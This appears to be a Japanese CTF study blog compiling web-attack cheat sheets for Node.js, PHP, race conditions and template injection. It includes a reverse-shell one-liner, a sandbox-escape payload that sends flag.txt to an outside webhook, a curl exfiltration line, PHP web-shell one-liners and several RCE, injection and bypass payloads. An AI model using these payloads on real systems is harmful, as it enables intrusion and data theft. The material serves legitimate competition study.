はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるJavaScript,nodejsまとめ(Prototype pollution, 難読化)

この記事はCTFのWebセキュリティ Advent Calendar 2021の18日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

JavaScript / node.js

  • RCEワンライナー
    • console.log(process.mainModule.require('child_process').execSync('ls -la').toString());
    • 適当にコマンドインジェクションするとき
      • いろいろ&&コマンド;//いろいろみたいな感じにするといい。前半の色々はちゃんと実行できるように頑張ること
    • リバースシェル
      • require("child_process").exec("bash -i >& /dev/tcp/[IPAddress]/[Port] 0>&1");process.exit();
  • x = ~~x;としてあると、xに文字列は使えず、整数しか使えない
  • encodeURIはエスケープとして不適切
  • GET parameterは複数回指定することで上書き可能
    • なるほど。今回は最後に入力したものが採用されるみたいだけど、確か実装依存。前調べたときのメモには以下のように書いてあった
    • ?username=abc&username=efg
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • document.writeでHTMLを書き込むと直後に再レンダリングしてくれる
    • scriptタグがあれば実行もされる
  • 途中にコメントを差し込んでも実行される
    • alert(document/**/.domain);は実行される
    • alert(docum/**/ent.domain);のようにキーワードをぶった切る場合は動かない
  • String.prototype.includes()
    • 文字列のincludesは大文字小文字を区別する
    • 'Blue Whale'.includes('blue') // returns false
  • innerHTMLとtextContent
  • Spread operatorは他の引数をoverrideできる
    • database.addData({ type: 'paste', ...req.body, uid });となっている場合、bodyにtypeがあると値をoverrideできる
    • corCTF 2021 // Tom Plant
  • Cross-window communication
  • The clickjacking attack
    • 参考になる資料
  • function () { ... }を短縮する
    • アロー関数化する()=>{}
    • 引数はずれてても大丈夫なので、x=>{}みたいに適当に与えればいい
  • .toString()するよりも+''としてキャストさせると短い
    • +0でも文字列化できる(最低function時のときは)
  • 文字列を適当に変換する [...str]+''
    • str='abc'[...str]={'a','b','c'}[...str]+''='a,b,c'
  • arguments変数
    • (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()みたいに、無名関数で引数が与えられてなくてもarguments配列を使えば読める
  • 即時関数で複数指定すると後半が実行される
    • (function(){return"A";},function(){return"B";})()とするとBが帰る
  • bind関数
    • functionに対してbind関数を使うと、thisに値を代替できる
    • (function () { return String(this)[char_offset]}).bind(()=>{; /* ${FLAG} */ })()
      • thisに()=>{; /* ${FLAG} */ }が入る
  • URLのhashから実行コードをとってくる方法
    • eval(decodeURIComponent(location.hash.slice(1)))とかいて、URL末尾に#[base64-encoded jscode]をつける
  • GitHub - cure53/H5SC: HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors
  • XSSのWriteup集
  • iframeのsrcdoc
    • <iframe srcdoc="[html-tag]"></iframe>とすることでsrcdoc内部でHTMLのタグ、scriptタグが実行できる(XSSできる)
    • これを使うとoriginを変更して実行できる?(よくわかってない)
  • 改行 <CR>/<LF>/U+2028/U+2029
  • s = {"title":[userinput]}; title="title:"+s.title;の場合、[userinput]に{"toString":null}とやると、エラーを引き起こすことができる
  • window.locationまとめ 例 https://example.com/admin?x=huge&y=piyo#hogehoge
    • window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
      • 全部
    • window.location.protocol = "https:"
    • window.location.host = "example.com"
      • 注意点。https://example.com:26/のようにポートが80じゃないならexample.com:26となる。なお、https://example.com:80/ならexample.com
    • window.location.hostname = "example.com"
      • こっちはポートがあってもなくてもホスト名だけ
    • window.location.port = 80
    • window.location.search = "?x=fuga&y=piyo"
    • window.location.hash = "#hogehoge"
    • window.location.pathname = "/admin"
  • 弱い比較
    • ['admin'] == 'admin'がtrueであるが、['admin'] === 'admin'はfalse
  • nodejsでfsモジュールのreaddirを使えばls相当が可能
  • stringのreplaceは最初に見つけた1つ目しか変換されない
  • jsは配列もstringも同じような関数が使えるので、配列を与えてみるとうまくいったりする
    • includesとかindexOfとかsliceとか
    • 配列はstringに変換されると、['a','b','c']a,b,cのようにコンマ結合される
  • Hoisting
    • jsでは定義が実行より後ろであっても上手い事動くし、書き換えもできる
    • function f() { console.log('pre'); } f(); function f() { console.log('post'); }を実行するとpostと出てくる
    • これを利用して、コードの先頭でほぼ使われているrequireを上書きして、予期せぬタイミングで任意コードを実行するテクがある ここ
  • overrideされたスコープ外の要素を参照したい時
  • 関数をtoStringするとコメントも一緒に出力される
  • arguments.callee
    • use strict下では使えないが、色々な関数にまつわる情報が抜ける
  • JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g や /foo/y) はステートフルになります
    • RegExp.prototype.exec() - JavaScript | MDN
    • CakeCTF 2021 writeup - st98 の日記帳 - コピー
    • そのため、let filter = /(\'|\\|\s)/g;というフィルタでfor (let name of neko_name) { if (filter.exec(name.toString()) === null) {こういう使われ方をしていると、neko_nameに同じ文字列を与えたとき、その文字列に対して先頭からフィルターにヒットするものを順番に返していって、末尾まで来たらnullとなり、フィルターを抜け出してしまう
  • innerTextを使うと自動でサニタイズされる
  • Webpack
    • デバッグ時に利用するために、バンドル前のソースコードとバンドル後のソースコードの行の対応関係を保持している「ソースマップ」というファイルを出力することがあります。
      • 一般的にソースマップファイルはトランスパイル後のファイル名のあとに.mapを付与したファイル名になっています。
      • ここでは、main.jsのファイルのソースマップファイルがmain.js.mapに存在していることがアクセスをするとわかります。
  • パラメタを配列にしてうまくバイパスする
    • https://example.com/page?path[]=x&path[]=index.phpこんな感じにすると、パスがx,idnex.phpと認識されたりする。
      • nodejsでは、配列を文字列解釈したときにカンマ結合するためである。
    • このままだとうまく使えないので、結合時でもうまく動くように調整する
      • https://example.com/page?path[]=x&path[]=/../index.phpとすると、x,/../index.phpとなって、元のリクエストと同じになる。
  • AST Injection

プロトタイプ汚染攻撃 Prototype pollution attack

ライブラリとかフレームワークとか

  • node-mysql-native
    • JSのMySQLライブラリ
    • connection.query('SELECT * FROM users WHERE id = ?', [id]のidに何が入ってるとどうなるか
    • 攻撃例
      • const sql = 'Select * from users where username = ? and password = ?';con.query(sql, [u, p], function(err, qResult) {となってる
      • これでusername=michelle&password[password]=1とすると、SELECT * FROM users WHERE username='michelle' AND password=`password`='1'となる
      • password=`password`='1'これが恒真らしい、なぜだ…
  • dotenv
  • Angular
    • URLで\をスラッシュとして使用可能。パーセントエンコーディングはデコードされる。
    • SSRF
      • Angularでthis.http.get('/api/answer')のようにリクエストを飛ばしている箇所があれば、PROTOCOL + HOST + / PATHでアクセスする
      • なので、HostにCNAMEで127.0.0.1/api/true-answerを指すようにしたドメインを指定すれば、https://127.0.0.1/api/true-answer/api/answerのようにSSRFできる
      • 適当なサイトに誘導してリダイレクトで127.0.0.1/api/true-answerへ飛ばせば、SSRFを達成できる。
    • TokyoWesterns CTF 2020 | writeups by @terjanq
      • AngularのSecondary segments - Angular Routerという機能を使ってバイパスする
      • これを使うだけ http://another-universe.chal.ctf.westerns.tokyo/(primary:debug/answer).
      • primaryを使うのみがミソっぽい
    • ペイロード
  • Inspector
  • v8ライブラリ
    • ヒープが抜き出せる
    • const v8 = require('v8'); const memory = v8.getHeapSnapshot().read(); console.log(memory.toString());
    • これだけ。この問題では量が多いので、sliceで抜き出して答えている
  • Lodash
    • 4.17.4にはプロトタイプ汚染の脆弱性がある
  • hbs
    • テンプレートエンジンであるhandlebars.jsをexpressから使えるようにしたもの
    • The Secret Parameter, LFR, and Potential RCE in NodeJS Apps
      • LFR (:Local File Read)ができる
      • router.post('/', function(req, res, next) { res.render('index', req.body.profile) });みたいに呼び出すときに
      • curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://[attackhost]/'とすると、./../routes/index.jsを出力してくれる
      • 修正: res.render('index', { profile })のように直下におかないようにするのがいいみたい
    • 4.0.3以下ならHandlebars.jsでRCE脆弱性がある Handlebars template injection and RCE in a Shopify app
  • jpv
  • querystring
    • expressのPOSTでbodyからquerystringを受け取ってconst { p } = querystring.parse(body)みたいにパースしているとき
      • curl http://34.84.5.211/ -d 'p=1&p=%ff/NN/NN/NN/flag' -H 'Content-Type: text/plain'
      • こんな感じにNを使うことで.を表現できる
  • axios
    • axios 0.21.0
      • SSRFできる Requests that follow a redirect are not passing via the proxy · Issue #3369 · axios/axios · GitHub
        • 参照先からリダイレクトさせるとプロキシを通さない(アクセス制限しててもbypass可能)
        • 単純に以下のようにして、ここにアクセスさせるとhttp://127.0.0.1/adminにリダイレクトするが、これはproxyを通さず表示可能 js const http = require('http') http.createServer(function (req, res) { res.writeHead(302, {location: 'http://127.0.0.1/admin'}) res.end() }).listen(5566)
  • Mermaid
  • JSDOM
    • DOMをjsで作るもの(よくわかってない)
    • ここで作成されたDOMでonclickとかが呼ばれた場合はサーバ側のDOMとして動作するので、サーバ側でRCEができる感じになる
    • ただ、サンドボックス上で評価されるので工夫が必要であるが、vmモジュールを使ったサンドボックスなので、既知の脱獄手順を使ってホスト上でRCEしよう
    • corCTF2021の課題•ブライスのブログ
      • <button class="next" onclick="const ForeignFunction = this.constructor.constructor;const process = ForeignFunction('return process')(); const require = process.mainModule.require; require('http').get('http://webhook.x.pipedream.net/?q=' + require('fs').readFileSync('flag.txt'));">next</button>
  • DOMPurify: JS向けサニタイズライブラリの定番。結構強いから、基本的には抜けない。
  • Express
    • app.use(bodyParser.urlencoded({ extended: true }))
      • これがあるとGETパラメターに配列、連想配列を指定することができる
      • x[]=a&x[]=bだとx=['a','b']
      • x[a]=1&x[b]=2だとx=[a: '1',b: '2']
    • ルーティングの文字は大文字小文字区別しないのでrouter.get('/flag', (req, res) => {とあったら/FLAGでもアクセス可能
    • リクエストがどうなったら終わるか
      • return res.status(400).send('deploymentId required!').end();のようにendがついてたら終わる
      • return res.status(402).set('X-Billing-Account', account);のようにendが無くて、nextがあれば、nextへ遷移する(!!)
  • React

jQuery

  • danger
    • userinputがそのまま出力されるケース
      • $("#element").html([input]);
      • $("#element").append([input]);
    • v1.6.2以前
      • $(location.hash)として#<img>を与えるとimgタグが作られる
  • safe
    • $btnFacebook = $('<div />', {"data-href" : "[input]"})のように辞書形式でpropertyを指定すればhtml化されてもうまいことエスケープされる
    • $("#X").text([input]);
  • jQueryのgetJSONはcallback=?がURLに含まれる場合にはJSONPとして解釈する
    • this.contest = await $.getJSON(`/${location.hash.slice(1)}.json`)みたいになっていたら#/example.com/aで外部の//example/a.jsonを見に行ってくれる
    • この場合に/example.com/a.js?callback=?&とすればjsを実行してくれる

TypeScript

JavaScript難読化

  • Javascript Obfuscator
    • javascript-obfuscator/javascript-obfuscator: A powerful obfuscator for JavaScript and Node.js
    • よく見るし、業界標準?(業界人でないので分からないが、資料はたくさん出てくる)
    • リソースを出力する謎関数を作成する。
      • 手作業で分解するのはだいぶつらいので、Chromeデベロッパーツールでブレークして、使われている_0x2384('0x3')みたいなやつの中身を見ていくのがオススメ。
    • 0x3936 のような特徴的な識別子、debugger 文による解析妨害、0x487fdb(0xd9, 'og)h') のようによくわからない関数を呼び出して文字列等を取り出しているといった特徴がある。
  • JSFuck
  • うーにゃー
  • 難読化解除テク(と言ってもほぼ根性)
  • Chromeのローカルオーバーライド
    • これを使うと、ページを再読み込みしても修正されたjsなどを実行できる。
      1. やりたいサイトでデベロッパーツールを開く
      2. SourceパネルのOverridesタブを開く、適当なフォルダを指定する(どこでもいい)
      3. Pageタブを開き、修正をローカルで永続化しておきたいファイルを右クリックして、Save for overridesを選択する
      4. これでオーバーライドできたので、適当に修正して、実行する
    • javascriptであれば、オーバーライド後に、Networkパネルから目的のjsファイルを選択して、Previewタブを開くと、ちょっときれいになったjsが得られるので、それを持ってきて、オーバーライドしたところで上書きするとちょっと幸せになる。console.log(見たい変数);でバンバン入れて、中身を見ていこう。
  • 何を探すか
    • jsだと暗号化とかも自前でやってるから、encryptとかdecryptとかのキーワードで探してみると何か出てくるかも
    • どこかで外部からデータを持ってきているなら、SQLiができるかもしれない
      • httpとかで検索したら良い感じのURL出てくるかも
  • 参考
  • debugger文を使った解析妨害コード
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • Chrome Developer Toolsがsource codeをbeautifyする前に(もしくは、している間に)ブレークさせる
      1. Chrome Developer Toolsを開く(解析妨害コードでブレークする)
      2. ブレークしている状態で本当にブレークさせたい所にブレークポイントを置く
      3. 一旦閉じる
      4. Chrome Defveloper Toolsを開くと同時に、ブレークさせたい所が発動するようなアクションをする(例えばボタンを押す)
      5. すると、解析妨害コードよりも先に手順4のアクションが優先され、ブレークさせたい所でブレークさせることができる

CTFのWebセキュリティにおけるPHPまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の17日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Webサーバのフロントエンド(最近はそうでもないか)、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。

  • <?php eval($_POST['cmd']); ?>となりうるコードがあると危険
  • ワンライナー一覧
    • RCE passthru("cat /f*") system("ls -la ./"); <?='cat /flag'; <?=`$_GET[0]`; ?> <?php system($_GET["c"]); ?>
    • ls foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; } print_r(scandir('./')); var_dump(scandir("/var/www/html")); scandir(__dir__) opendir() readdir()
    • cat readfile(glob('*')[0]); eval(system('cat / flag')); show_source('./flag.txt');
      • 試してない file_get_contents('f1@g.txt')
      • base64で出したい var_dump(base64_encode(readfile("../../../flag.so")));
      • includeで引っ張れたりもする include '/etc/f1@g.txt';
      • $process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes); echo stream_get_contents($pipes[1]);
    • 定義済み配列をすべて出す print_r(get_defined_vars())
    • ブラインドRCE $output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\"); ここ
  • phpファイルを動かすには
  • artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
    • 便利なWebShell
  • xorを使ったバイパス方法がある
    • eval("echo ".eval("return ".$_GET["calc"].";").";");
      • こういう感じで1回実行されて、さらに実行されれば使える
      • '^()が使えれば大体は作れる
    • ('??????'^'??????'^'??????')のように3つの文字列のxorで大体作れそう
    • CTF-Writeup/README.md at main · vichhika/CTF-Writeup
      • 良い感じのジェネレータを公開してくれてる
  • 4*4とか入れて16とか出てきたらプログラムとして解釈されている恐れがある
    • 試しにsystem(ls)とかを入れてみて、動くか見てみる
  • source
  • 画像ファイルのヘッダーを見てアップロード可能かを決めてる場合にヘッダーだけ付け替えてバイパスする
  • eval("echo 'Hello ".$a."<br>$flag';");で実行する
    • ',system('id'),'でidで普通に実行できる
    • ',('system')('id'),'こうしてもidが実行可能 ',('system')('id'+),'
    • ペイロード
      • ',('system')('ls+/'+),'
      • ',('system')('od+/*'+),'
  • 限られた文字でPHPコード実行をする
  • LFI: Local File Injection
    • 例えば?page=homeとか?page=ab.phpとかなっていれば、LFIが使える場合がある
    • PHP的には12($_GET['page']);のような感じになっている
    • LFIの詳細については、別途ページで記載予定。簡単に今は書いておく
  • include先でechoしているものはechoされた後のコードで得られる
    • echo $_GET['a']; include($_GET['b']);というindex.phpがあるとする。
    • /index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3EでRCE成立
  • Unsafe Deserialization
  • XXE
    • simplexml_load_string関数
  • SQL Injection
  • PHP Type Juggling
    • PHPの比較は弱いことが知られている
    • !strcasecmp($_POST['flag'], $flag), strcmp($_POST['password'], $password) == 0
      • 実はバイパス可能
      • $_POST['flag'] = []となるようにPOSTで与えてやれば、全体をtrueにすることができる
      • 配列を渡すにはflag%5B%5D=こんな感じにすればいい(flag[]=のURLエンコーディング後)
      • htmlでは<input type="hidden" name="flag[]" value=""/>こんな感じ
    • '1234a' == 1234は真となる
      • でもis_numeric('1234a')はしっかりfalseなので、is_numericのバイパスに使える
      • "1abc" == "0abc" + 1も真(!) ここ
    • magic hash
      • '0e????' = '0'が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある
        • ?には0-9が入る必要がある
      • この問題では、./flag.txt, .//flag.txt, .///flag.txtのようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた
        • 881回スラッシュで出てきた
      • magic hash一覧 https://github.com/spaze/hashes
        • MD5 QNKCDZO 240610708
        • SHA256 34250003024812 aaroZmOk 0e9682187459792981
    • 0は000.0
  • parse_url関数
    • バージョンによってはhttp://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2が失敗する
    • :が値に入っていると失敗する。失敗すると、戻り値がnullになる
  • $_SERVER['PHP_SELF']とbasename関数
    • Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
    • basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
      • より具体的には\x80-\xffを無視する?
    • 以下実験メモ
      • http://localhost/index.php/config.php
        • $_SERVER['PHP_SELF'] = /index.php/config.php
        • basename($_SERVER['PHP_SELF']) = config.php
      • http://localhost/index.php/config.php/a
        • $_SERVER['PHP_SELF'] = /index.php/config.php/a
        • basename($_SERVER['PHP_SELF']) = a
      • http://localhost/index.php/config.php/あ?source ※ %E3%81%82 = あ
        • $_SERVER['PHP_SELF'] = /index.php/config.php/あ
        • basename($_SERVER['PHP_SELF']) = config.php
  • $address = filter_var($address, FILTER_VALIDATE_EMAIL);でメールアドレスチェック
    • ""@a.bとすると通る
    • 例えば"'whoami'"@example.comとすると、whoamiが解釈されて"markus"@example.comとなったりする
    • '||1#@i.iもvalid(SQLinjectionで成功する)
    • RCEもある
      • "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.coこんな感じ?ちょっと分からない
  • エラーについて
    • エラーを出したいとき(未検証)
      • error_reporting(E_ALL); ini_set('error_reporting', E_ALL); ini_set('display_errors', '1');
    • エラーを表示させない
      • ini_set("display_errors", 0);
  • GETリクエストの解釈違い
    • ?username=abc&username=efgとなった場合
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • PHPでリダイレクトをしたらdie,exitを呼び出しなさい
  • PHPのgetパラメタ配列化Attack
    • CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
      • https://web5.chujowyc.tf/?a[]=0&b[]=1で突破可能
      • $ha = hash("sha256", $_GET['a']); // $ha === null
      • $_GET['a'] !== $_GET['b']のように配列の===比較では中身までちゃんと見てくれる
  • .user.ini
  • ob_start関数
    • バッファを一旦保持しておいて、決まったタイミングでflushする機構
    • ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
      • CTFtime.org / 3kCTF-2020 / xsser
      • この問題では、unserialize関数でO:11:"Traversable":0:{}を入れてfatal errorを起こしていた
        • Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
  • is_numeric
    • 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
    • trueになるやつ 1e9
  • preg_replace関数/str_replace
    • 1回しかreplaceしないので、selSELECTectみたいにすればバイパスされてしまう
    • preg_replaceに任意入力できる場合はRCEの危険性がある
      • Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
        • echo "replaced : ".preg_replace($_GET['pattern'], $_GET['replacement'], $_GET['subject']);となってる場合
        • index.php?pat=/a/e&rep=phpinfo();&sub=abcとやればphpinfo();が実行される
        • index.php?pat=/a/e&rep=system(‘id’);&sub=abc
          • 平たく言うとpreg_replace("/a/e", "system(‘id’);", "abc");となる
        • 緩和策も書いてある
  • md5関数の誤用
  • $_SERVER['HTTP_X_FORWARDED_FOR']
    • リクエストHTTPのヘッダーで外部から自由にインジェクション可能
    • X-Forwarded-Forヘッダーで入れればいい
  • time()
    • Unixタイムスタンプを返すので、類推可能
    • 例えば、2020/11/18 20:54:21(JST)なら$time = (new DateTime('2020-11-18 20:54:21', new DateTimeZone('Asia/Tokyo')))->format('U');Unixタイムスタンプが得られる
    • ID推測とかで使用するときは、Burpに残ってる時間ピッタリだけでなく、周りの時間が使われている可能性も考えること(秒単位でクライアント・サーバが一致していないかも)
    • CTFtime.org / SPbCTF's Student CTF 2020 Quals / eSick
      • この問題では、timeとuuidからファイル名を類推するが、timeがどれかが微妙にわからないので候補を全部作って、BurpのIntruderを使ってヒットするものがないか探す
  • mysqli_real_escape_string
  • バイパステク:他の入力を持ってくる
  • 攻撃コードに書いてあったコードについて
    • error_reporting(0); エラーを出さない
    • set_time_limit(0); 実行時間を無限にする
      • 設定は上書きされるっぽいので、設定でなんとかするのは難しそう
  • バッファを使い切ってHeader出力を抑制するテク
    • Write-ups to justCTF [*] 2020 by @terjanq - HackMD
    • PHPではheader出力の前に画面出力をしてはならないのだが、バッファ機能が有効である場合、画面出力のあとにheader出力をしてもバッファしてあれば差し込むことができる
    • だが、header出力をして差し込む前に、バッファのサイズ上限まで出力されていた場合は容量不足で差し込むことができず、headerが消滅する
    • このwriteupでは、それを利用してCSPヘッダーを差し込ませないようにしている
    • バッファのサイズ上限まで出力させるには、エラーメッセージを用いている
  • $_SERVER
    • REQUEST_URI
      • ページにアクセスするために指定されたURIを指すので、
      • GET http://localhost/test.php?query=value#fragment HTTP/1.1みたいにするとhttp://localhost/test.php?query=value#fragmentとなる
    • HTTP_HOST
      • リクエストにHostヘッダーがあった場合にそれが入る。偽装可能
  • GET Parameterのkeyにdot,spaceを入れると、underscoreに自動変換される
  • 古いPHPだと結構ヌルバイト攻撃が有効っぽい(未確定)
  • PHPトークン生成には単にCSPRING(暗号論的に安全な疑似乱数生成装置)を使うこと
    • ハッシュ化するとか余計なことをすることで脆弱性が入り込みやすくなる
    • PHP7以降ではrandom_bytes関数を使うだけ
    • mt_rand関数を引数無しで呼ぶと、31ビットの範囲になるからエントロピーが不足する(128bits以上がデファクトスタンダード
  • PHP assert() Vulnerable to Local File Inclusion – All things in moderation
    • assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
    • assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
      • $file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果
    • NahamCon CTF 2021 - Capture The Flag (CTF)
      • assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");' .system("id"). 'を入れる
  • .phpsPHPソースコードファイルとして使える拡張子
  • open_basedirのバイパス手法
  • new finfo(1, '.');とやればとあるディレクトリ下のファイルを無理やり読み込ませて、エラー情報から内容を得ることができる
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • finfo __constructでmagic_fileというオプションがmagic database fileを取得するために、特定のディレクトリにあるすべてのファイルを解析してくるようだ。ここmagic_fileオプション別のパスを与えると解析してくるファイルのフォーマットが合わず、警告を使用してファイルの内容を出力してくれるようだ。ちなみにfinfo classはfinfo関数のオブジェクト
      • まあ実行すると、全部解析してくれて、フォーマットが合わないから警告が出るけど、そこに情報が出ちゃうからファイルパスが抜けるんだろう
  • $_REQUEST$_GET,$_POST,$_COOKIEの内容をまとめた連想配列
    • こういういろんな所からデータ取れるものは意図せずデータインジェクションが発生しうるので使うのはやめといたほうがいい
  • idn_to_ascii
  • create_function関数
  • mail関数を使ったbypassテク
  • glob関数は先頭がドットのファイルは取ってこないので、foreach (glob("temp/$dname/*") as $file) { @unlink($file); }こういうので削除を回避できる
  • @rmdir("temp/$dname");は中身に何か残ってたら失敗する
  • @move_uploaded_file関数は引数のパスが長いと失敗する。300文字くらいで失敗するらしい
  • FFIについて
    • PHPからdllファイルを読み込んで実行できる機構
    • $ffi = FFI::load('/flag.h');$a = $ffi->flag_fUn3t1on_fFi();var_dump(FFI::string($a));みたいな感じ
    • メモリ抜き出しも行える
    • FFIでRCEしたいとき(PHP 7.4.X以下ならFFIを経由することでdisable_functionsをbypassできる) <?php $ffi=FFI::cdef("int system(const char *command);"); $ffi->system('ls'); ?>
  • OPcache
    • PHPのキャッシュ機構
    • 攻撃手法
      1. phpinfoを見て、opcacheが有効か確認
      2. opcache.file_cache = /var/www/cache/ならば/var/www/cache/[system_id]/var/www/html/flag.php.binを探せばいい。
      3. これのsystem_id_scraper.pyを使ってsystem_idを抜き出す python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
    • CTFtime.org / 3kCTF-2020 / carthagods
  • Phar, PHPアーカイブ

phpinfo

  • 見方
    • System: OSがWindowsLinux
    • Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
    • extension_dir: php拡張モジュールのパス(いつ使う?)
    • short_open_tag: <?=,<? echo,<? ?>が使えるかどうか
    • disable_functions: 使えない関数が列挙されている
    • disable_classes: 使えないクラスが列挙されている
      • これをもとに使える関数・クラスを得たい場合は手元で全部使える状態で使えるやつを抜き出してdiffを見ればいい ```php <?php function get_diff($a, $b) { $a = file_get_contents($a); $a = str_replace(' ', '', $a); $a = explode(',', $a);

        return implode(', ', array_diff($b, $a)) . "\n"; }

      echo "functions: " . get_diff('disable_functions.txt', get_defined_functions()['internal']); echo "classes: " . get_diff('disable_classes.txt', get_declared_classes()); ```

    • open_basedir
      • ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
      • でも、DirectoryIteratorを使えば任意の場所のlsができる。
      • FFI::loadもこれの影響を受けない。
    • SERVER_ADDR: サーバのIPアドレス
    • DOCUMENT_ROOT: ルートディレクト
      • linuxなら/var/www/htmlが普通?
    • session: セッションの設定が見られる(todo: 観点は?)
      • セッションが保存されている場所や使用可能な場所を確認することができる
    • gopher: これがあればSSRFできるかも
    • fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
    • allow_url_include: 有効ならLFIできる?(よくわかってない)
    • allow_url_fopen: 有効ならLFIできる?(よくわかってない)
      • urlで外部ファイルをfopenできるってだけ?
      • REMOTE FILE INCLUSIONというらしい
    • asp_tags: aspタグを解析するために有効になっている
    • magic_quotes_gpc: adslashes() のような文字をエスケープ
    • libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
    • opcacheはPHPコードをコンパイルしてキャッシュしておくもの
    • imapが有効なら、CVE-2018-19518かも
    • upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
  • 参考
  • php.iniのスキャナー

PHP難読化

  • YAK Pro
<?php
goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;

こんな感じになる。根性で解読する。

CTFのWebセキュリティにおけるRace Condition

この記事はCTFのWebセキュリティ Advent Calendar 2021の16日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

レースコンディション Race Condition

どういう問題を発生させられるか

例えば、クーポンを使用する処理があって以下のようなフローになっているとする。

  1. クーポンがあるか確認
  2. クーポンを使用して、クーポンを消す

2つのプロセスで同一クーポンに対してリクエストをほぼ同時に投げたとする。
プロセスAとプロセスBにおいて、「A1 → B1 → A2 → B2」のような順番で処理が行われてしまうと、
クーポンは1つなんだけれど、クーポン使用が2回行われてしまう可能性がある。
このように、排他処理を適切に行わないことで、競合状態を発生させて、攻撃を行う。

  • 他問題
    • Race conditions
      • TOCTOU
      • コンテキスト外でオブジェクトが再利用される
      • 処理フロー内でオブジェクトが編集される
    • Deadlocks

体系的にはどんな問題に適用される?

  • 整合性チェックと実際の処理に時間差がある場合
  • 整合性チェックを行う場合に一般的に紛れ込むのかもしれない
  • 他にもロジックミスとしてrace conditionが絡んでいる場合もあり、一概に言えない

攻撃シナリオ

  • ファイルをアップロードして何かを行うサービス
    • サーバ側処理
        1. ファイルをtmpフォルダにアップロード
        1. アップロードファイルに対してサーバ側が処理を行う
        1. アップロードしたファイルを削除する
    • 攻撃
      • 1でファイルをアップロードするときにphpファイルをアップロードしておく。その直後、3で削除される前に参照して、任意コード実行を達成する
  • 購入サイト
    • サーバ側処理「お金があるか確認→購入処理→お金を減らす」
    • 同時に購入することでお金の消費は1回で複数個数買える場合がある
      • これはお金を減らす処理が「最初にお金があるか確認したものから金額を減らして更新する」場合に特に有効
  • 送金システム
    • サーバ側処理「送金→記録」
    • これも同時に行えば、お金の減りは1回だけど複数回送れたりする

tips

CTFのWebセキュリティにおけるSSTIまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の15日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Template Injection

  • テンプレートエンジン: データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジン
    • この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性
    • クライアント側かサーバ側かで2通りある。
    • SSTI: Server-Side Template Injection, Server-Sideでテンプレートエンジンを動かして色々やる
    • CSTI: Client-Side Template Injection, Client-Sideでテンプレートエンジンを動かして色々やる

Server-Side Template Injection

まずはこれを試そう

Python

Java

  • Thymeleaf

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
    • Defenit CTF 2020 の write-up - st98 の日記帳
      • FLAGという言葉はつかえないけど、FLAGを得たいとき
